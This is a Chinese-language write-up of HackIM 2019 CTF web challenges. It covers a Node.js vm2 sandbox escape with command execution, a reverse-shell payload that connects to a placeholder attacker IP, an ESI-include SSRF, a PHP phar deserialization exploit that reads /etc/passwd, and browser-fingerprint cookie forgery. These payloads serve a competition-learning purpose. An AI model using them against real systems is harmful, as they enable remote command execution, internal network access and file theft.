HackIM 2019 Web記錄
過年前做了一下,感覺還是挺有意思的。比賽官方也開源了 比賽原始碼 。
Web
Run your javascript code inside this page and preview it because of hackers we have only limited functions
題目內容如上,比較簡單的 javascript 程式碼執行,後臺是 Node.js
這裡我們可以考慮一下是不是有什麼 Node.js 沙箱逃逸什麼的操作,國內對於 Node.js 沙箱逃逸的文章還是比較少的,參考了好幾篇都是翻譯文章,都翻譯得不是很清楚,參考文章: NodeJS沙盒逃逸研究
但是也能知道個大概,要執行命令或者反彈 shell 就需要用到兩個模組,分別是 net 和 child_process ,可以用以下 payload 直接反彈 shell
(function () { var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(your_port, "your_ip", function () { client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; // Prevents the Node.js application form crashing })();
然而當我們想直接反彈 shell (那當然是太天真了),就返回了 not defined
所以沒那麼簡單,那我們先從資訊收集開始,使用 Error().stack
可以收集使用的模組資訊,而且題目設定是可以直接把內容輸出出來的,所以我們不需要 print
,可以直接輸出資訊。
我們首先先收集目標資訊,使用 js=Error().stack
我們可以得到題目設定的模組,如 vm.js
,然後發現對應的 vm2 倉庫裡已經有很多 escape 的 issue 了,發現有一位 @XmiliaH 大佬已經 escape 了很多版本,我們可以嘗試一下比較新的一個版本 Breakout in v3.6.9
var process; try{ Object.defineProperty(Buffer.from(""),"",{ value:new Proxy({},{ getPrototypeOf(target){ if(this.t) throw Buffer.from; this.t=true; return Object.getPrototypeOf(target); } }) }); }catch(e){ process = e.constructor("return process")(); } process.mainModule.require("child_process").execSync("ls").toString()
直接作為 payload 使用,發現可以成功執行命令
接下來直接讀 flag 就好了,得到
hackim19{S@ndbox_0_h4cker_1}
Its just a blog
題目是一個 Node.js ,題目設定比較簡單,就一個表單,提交之後引數會得到相應的頁面
以及還有一個 admin 介面
index 介面輸入什麼就以 HTML 形式返回什麼,也可以觸發 XSS
但是這只是一個 self-xss ,這就顯得又些雞肋了,所以大概意思就是我們需要用 index 做 xss 或者其他一些操作去獲取管理員許可權
跟上題一樣,既然都是 Node.js ,是不是也可以得到一些錯誤資訊什麼的。
在嘗試了一些單引號、雙引號等一些特殊符號,發現確實是全部都轉換成 string 輸出了,猜想是不是有類似 toString()
的操作,換成陣列測試,發現無回顯,一直停留在 pending 狀態中
嘗試直接訪問 /edge 頁面,得到錯誤資訊
但是這都是用於前端效果的 js 庫,並沒有什麼用,但是思路應該是沒錯的,繼續 fuzz 就行了。
最終用 title=1&description[a]=1
得到了比較有用的報錯資訊,得到了一個新的庫 esi.js ,檢視相關資料 Node ESI Language parser ,可以知道這是一個用於處理 ESI 語言的 js 庫,使用示例官方也給出來了
You want to embed the fragment of HTML from “ http://snipets.com/abc.html “ within an HTML document.
blah blah, oh and here i embed in the page a snipet using an ESI server ... <esi:include src="http://snipets.com/snipet.html"></esi:include>
snipet.html
<b>Snipet</b>
With Node ESI script, you can pre-process ESI tags.
看到這裡我們的思路就比較清晰,就是以 esi 的方式去訪問 admin 頁面就可以了,相當於形成了一個 SSRF 。
payload: title=1&description=<esi%3Ainclude+src%3D"http%3A%2F%2Fwebsite.com%2Fadmin"><%2Fesi%3Ainclude>
mime checkr
upload and check the mime type Hint1: Do you think containers could speak like humans?
題目設定為有一個上傳點,只允許上傳 .jpeg 字尾的檔案,嘗試了一下其他截斷,均不能上傳其他檔案
還有一個獲取 MIME 格式的功能,需要傳入路徑,返回 MIME 格式
還有一個備份檔案 getmime.bak
<?php //error_reporting(-1); //ini_set('display_errors', 'On'); class CurlClass{ public function httpGet($url) { $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_RETURNTRANSFER,true); //curl_setopt($ch,CURLOPT_HEADER, false); $output=curl_exec($ch); curl_close($ch); return $output; } } class MainClass { public function __destruct() { $this->why =new CurlClass; echo $this->url; echo $this->why->httpGet($this->url); } } // Check if image file is a actual image or fake image if(isset($_POST["submit"])) { $check = getimagesize($_POST['name']); if($check !== false) { echo "File is an image - " . $check["mime"] . "."; $uploadOk = 1; } else { echo "File is not an image."; $uploadOk = 0; } } ?>
看到備份檔案中有 _destruct
與 curl
,思路也就比較清晰了,大致需要我們上傳一個 phar 檔案,然後用 phar://xx/xx
去觸發反序列化漏洞。
這裡我先測試 file:///etc/passwd
,用以下程式碼生成 phar 檔案
<?php class CurlClass { public function httpGet($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); //curl_setopt($ch,CURLOPT_HEADER, false); $output = curl_exec($ch); curl_close($ch); return $output; } } class MainClass { public function __destruct() { $this->why = new CurlClass; echo $this->url; echo $this->why->httpGet($this->url); } } $phar = new Phar("zedd.phar"); //字尾名必須為phar $phar->startBuffering(); $phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); //設定stub $o = new MainClass(); $o->url = "file:///etc/passwd"; $phar->setMetadata($o); //將自定義的meta-data存入manifest $phar->addFromString("test.txt", "test"); //簽名自動計算 $phar->stopBuffering(); ?>
修改後綴名為 .jpeg ,通過訪問 phar://uploads/f68caba0b9.jpeg/test.txt
,成功獲得了 file:///etc/passwd
的內容。
但是我們如何找 flag 呢,這裡其實是比較坑的一個點,其實基本漏洞利用點已經找到了,接下來其實感覺是有些多餘的出題設定,通過試探一些常用的 flag 目錄路徑,都沒有找到 flag ,而後在 /etc/hosts
發現了同一個網段的另一臺主機。
如圖中的 192.168.32.2 7eaef799a0b8
,猜想是不是在 192.168.32.0/24 這個段上,或者比較靠前的機器上,當嘗試到 192.168.32.3 時,發現有不尋常的返回。
看著有點像用 python 加密出來的東西,搜了一下發現是使用了一個叫 ebcdic
的 python 庫,用了 cp1047
編碼。
解碼指令碼:
import ebcdic blob=b'xc8x85x93x93x96@ax86x85xa3x83x88xa1lxadxbd_|]M@@x94x85' print(blob.decode("cp1047"))
得到 Hello /fetch~%[]^@)( me
感覺是個 url 之類的,再構造 phar 包,訪問 http://192.168.32.3/fetch~%25%5B%5D%5E%40)(
,得到
看起來是同樣的加密,直接解密就可以了。
import ebcdic blob=b'xc6x93x81x87xc0xd7xc8xd7mxe2xa3x99x85x81x94xa2mx81x99x85mxa3xf0xf0mxd4x81x89x95xe2xa3x99x85x81x94xf0xd0' print(blob.decode("cp1047"))
最後得到 flag
Alice is a admin of abc company in india. He knows about hackers and makes a system that can login only from his system and only his browser which is chrome.
- Hint: ummm maybe that image has something to do with it.
- Hint2: Admin is uses fresh chrome
- Hint3: admin has different CanvasFingerprint
- Hint4: Windows 10 64 bit
題目設定為一個登陸介面,並且有一行註釋
<!-- remember me all the time, credz is not what you need luke -->
嘗試了一下 sql 注入,並沒有注入點,在嘗試弱密碼的時候使用 admin/admin
登入成功,但是頁面提示
很直接,讓我們偽造 admin 的 cookie ,這就需要我們另尋突破口了,在主頁面發現一個貌似用來設定 cookie 的 js 檔案:
Fps.js
(function(name, context, definition) { if (typeof module !== 'undefined' && module.exports) { module.exports = definition() } else if (typeof define === 'function' && define.amd) { define(definition) } else { context[name] = definition() } })('fpbrowser_v1', this, function() { 'use strict'; var Fingerprint = function(options) { var nativeForEach, nativeMap; nativeForEach = Array.prototype.forEach; nativeMap = Array.prototype.map; this.each = function(obj, iterator, context) { if (obj === null) { return } if (nativeForEach && obj.forEach === nativeForEach) { obj.forEach(iterator, context) } else if (obj.length === +obj.length) { for (var i = 0, l = obj.length; i < l; i++) { if (iterator.call(context, obj[i], i, obj) === {}) return } } else { for (var key in obj) { if (obj.hasOwnProperty(key)) { if (iterator.call(context, obj[key], key, obj) === {}) return } } } }; this.map = function(obj, iterator, context) { var results = []; if (obj == null) return results; if (nativeMap && obj.map === nativeMap) return obj.map(iterator, context); this.each(obj, function(value, index, list) { results[results.length] = iterator.call(context, value, index, list) }); return results }; if (typeof options == 'object') { this.hasher = options.hasher; this.screen_resolution = options.screen_resolution; this.screen_orientation = options.screen_orientation; this.canvas = options.canvas; this.ie_activex = options.ie_activex } else if (typeof options == 'function') { this.hasher = options } }; Fingerprint.prototype = { get: function() { var keys = []; keys.push(navigator.userAgent); keys.push(navigator.language); keys.push(screen.colorDepth); if (this.screen_resolution) { var resolution = this.getScreenResolution(); if (typeof resolution !== 'undefined') { keys.push(resolution.join('x')) } } keys.push(new Date().getTimezoneOffset()); keys.push(this.hasSessionStorage()); keys.push(this.hasLocalStorage()); keys.push(!!window.indexedDB); if (document.body) { keys.push(typeof(document.body.addBehavior)) } else { keys.push(typeof undefined) } keys.push(typeof(window.openDatabase)); keys.push(navigator.cpuClass); keys.push(navigator.platform); keys.push(navigator.doNotTrack); keys.push(this.getPluginsString()); if (this.canvas && this.isCanvasSupported()) { keys.push(this.getCanvasFingerprint()) } if (this.hasher) { return this.hasher(keys.join('###'), 31) } else { return this.fingerprint_js_browser(keys.join('###'), 31) } }, fingerprint_js_browser: function(key, seed) { var remainder, bytes, h1, h1b, c1, c2, k1, i; remainder = key.length & 3; bytes = key.length - remainder; h1 = seed; c1 = 0xcc9e2d51; c2 = 0x1b873593; i = 0; while (i < bytes) { k1 = ((key.charCodeAt(i) & 0xff)) | ((key.charCodeAt(++i) & 0xff) << 8) | ((key.charCodeAt(++i) & 0xff) << 16) | ((key.charCodeAt(++i) & 0xff) << 24); ++i; k1 = ((((k1 & 0xffff) * c1) + ((((k1 >>> 16) * c1) & 0xffff) << 16))) & 0xffffffff; k1 = (k1 << 15) | (k1 >>> 17); k1 = ((((k1 & 0xffff) * c2) + ((((k1 >>> 16) * c2) & 0xffff) << 16))) & 0xffffffff; h1 ^= k1; h1 = (h1 << 13) | (h1 >>> 19); h1b = ((((h1 & 0xffff) * 5) + ((((h1 >>> 16) * 5) & 0xffff) << 16))) & 0xffffffff; h1 = (((h1b & 0xffff) + 0x6b64) + ((((h1b >>> 16) + 0xe654) & 0xffff) << 16)) } k1 = 0; switch (remainder) { case 3: k1 ^= (key.charCodeAt(i + 2) & 0xff) << 16; case 2: k1 ^= (key.charCodeAt(i + 1) & 0xff) << 8; case 1: k1 ^= (key.charCodeAt(i) & 0xff); k1 = (((k1 & 0xffff) * c1) + ((((k1 >>> 16) * c1) & 0xffff) << 16)) & 0xffffffff; k1 = (k1 << 15) | (k1 >>> 17); k1 = (((k1 & 0xffff) * c2) + ((((k1 >>> 16) * c2) & 0xffff) << 16)) & 0xffffffff; h1 ^= k1 } h1 ^= key.length; h1 ^= h1 >>> 16; h1 = (((h1 & 0xffff) * 0x85ebca6b) + ((((h1 >>> 16) * 0x85ebca6b) & 0xffff) << 16)) & 0xffffffff; h1 ^= h1 >>> 13; h1 = ((((h1 & 0xffff) * 0xc2b2ae35) + ((((h1 >>> 16) * 0xc2b2ae35) & 0xffff) << 16))) & 0xffffffff; h1 ^= h1 >>> 16; return h1 >>> 0 }, hasLocalStorage: function() { try { return !!window.localStorage } catch (e) { return true } }, hasSessionStorage: function() { try { return !!window.sessionStorage } catch (e) { return true } }, isCanvasSupported: function() { var elem = document.createElement('canvas'); return !!(elem.getContext && elem.getContext('2d')) }, isIE: function() { if (navigator.appName === 'Microsoft Internet Explorer') { return true } else if (navigator.appName === 'Netscape' && /Trident/.test(navigator.userAgent)) { return true } return false }, getPluginsString: function() { if (this.isIE() && this.ie_activex) { return this.getIEPluginsString() } else { return this.getRegularPluginsString() } }, getRegularPluginsString: function() { return this.map(navigator.plugins, function(p) { var mimeTypes = this.map(p, function(mt) { return [mt.type, mt.suffixes].join('~') }).join(','); return [p.name, p.description, mimeTypes].join('::') }, this).join(';') }, getIEPluginsString: function() { if (window.ActiveXObject) { var names = ['ShockwaveFlash.ShockwaveFlash', 'AcroPDF.PDF', 'PDF.PdfCtrl', 'QuickTime.QuickTime', 'rmocx.RealPlayer G2 Control', 'rmocx.RealPlayer G2 Control.1', 'RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)', 'RealVideo.RealVideo(tm) ActiveX Control (32-bit)', 'RealPlayer', 'SWCtl.SWCtl', 'WMPlayer.OCX', 'AgControl.AgControl', 'Skype.Detection']; return this.map(names, function(name) { try { new ActiveXObject(name); return name } catch (e) { return null } }).join(';') } else { return "" } }, getScreenResolution: function() { var resolution; if (this.screen_orientation) { resolution = (screen.height > screen.width) ? [screen.height, screen.width] : [screen.width, screen.height] } else { resolution = [screen.height, screen.width] } return resolution }, getCanvasFingerprint: function() { var canvas = document.createElement('canvas'); var ctx = canvas.getContext('2d'); var txt = 'I am not admin'; ctx.textBaseline = "top"; ctx.font = "12.5px 'Arial'"; ctx.textBaseline = "numeric"; ctx.fillStyle = "#f60"; ctx.fillRect(101, 5, 48, 30); ctx.fillStyle = "#069"; ctx.fillText(txt, 2, 15); ctx.fillStyle = "rgba(111, 177, 0.1, 0.7)"; ctx.fillText(txt, 4, 17); return canvas.toDataURL() } }; return Fingerprint }); function bjs_1(e) { var r = new fpbrowser_v1, t = new fpbrowser_v1({ canvas: !0 }), n = r.get(), o = t.get(), i = n + "" + o, a = getbrowser(), d = new XMLHttpRequest, s = "trackuser.php", w = "m=" + i; w += "&token=" + e, w += "&b=" + a, d.open("POST", s, !0), d.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), d.onreadystatechange = function() { if (4 == d.readyState && 200 == d.status) { d.responseText; "index.php" == e && (document.getElementById("loaderDiv").innerHTML = "") } }, d.send(w) } function getbrowser() { var e = !!window.opr && !!opr.addons || !!window.opera || navigator.userAgent.indexOf(" OPR/") >= 0; if (e) return "Opera"; var r = "undefined" != typeof InstallTrigger; if (r) return "FireFox"; var t = Object.prototype.toString.call(window.HTMLElement).indexOf("Constructor") > 0; if (t) return "Safari"; var n = !1 || !!document.documentMode; if (n) return "IE"; var o = !n && !!window.StyleMedia; if (o) return "Edge"; var i = !!window.chrome && !!window.chrome.webstore; return i ? "Chrome" : "other Browser" }
大致進行了一波審計,從 index.html
中含有的 <script> var i='index.html'; bjs_1(i); </script>
開始,發現 bjs_l()
函式,並且可以抓到請求 trackuser.php
的包
POST /trackuser.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://localhost/ Content-type: application/x-www-form-urlencoded Content-Length: 49 Connection: close Cookie: continueCode=PJgGlaHKhetvcbIlToCVsZFLinSyHZuQcgCJfZSbuphvCV9slmH6ET5v08yK; cookieconsent_status=dismiss; PHPSESSID=877d4hrk97pg1qbnpb37sejqh7 Cache-Control: max-age=0 m=36743815193629702779&token=index.html&b=FireFox
跟進 bjs_l()
函式,發現初始化了兩個 fpbrowser_v1
類,並且呼叫了 get()
函式返回值作為 ajax 請求中 m 的 value 值,關鍵就在 Fingerprint.prototype
這裡的 get
函式,這裡用 keys
陣列儲存了一系列的引數,但是其實主要的只是以下幾個,因為其他引數我們完全可以直接用 windows 10 裝一個最新的 chrome 來模擬環境,就不需要完全修改引數了
- navigator.language — 題目設定已經告訴我們 “Alice is a admin of abc company in india”
- navigator.userAgent — 題目 hint 給出 windows 10 chrome
- getTimezoneOffset() — India 的時區
- getCanvasFingerprint
大致就是以上因素,我們可以從 hint 中找到大部分的引數,設定 navigator.language
可以用 india 的 language 解決, getTimezoneOffset
我們可以算得到是-300,唯獨 getCanvasFingerprint
我們不太清楚,經過仔細查閱資料知道這個實現的就是 Canvas Fingerprinting
,而題目中那個註釋以及 hint 也給出了,應該就是用 index.html
中的那個 canvas
圖片
<img src="data:image/png;base64,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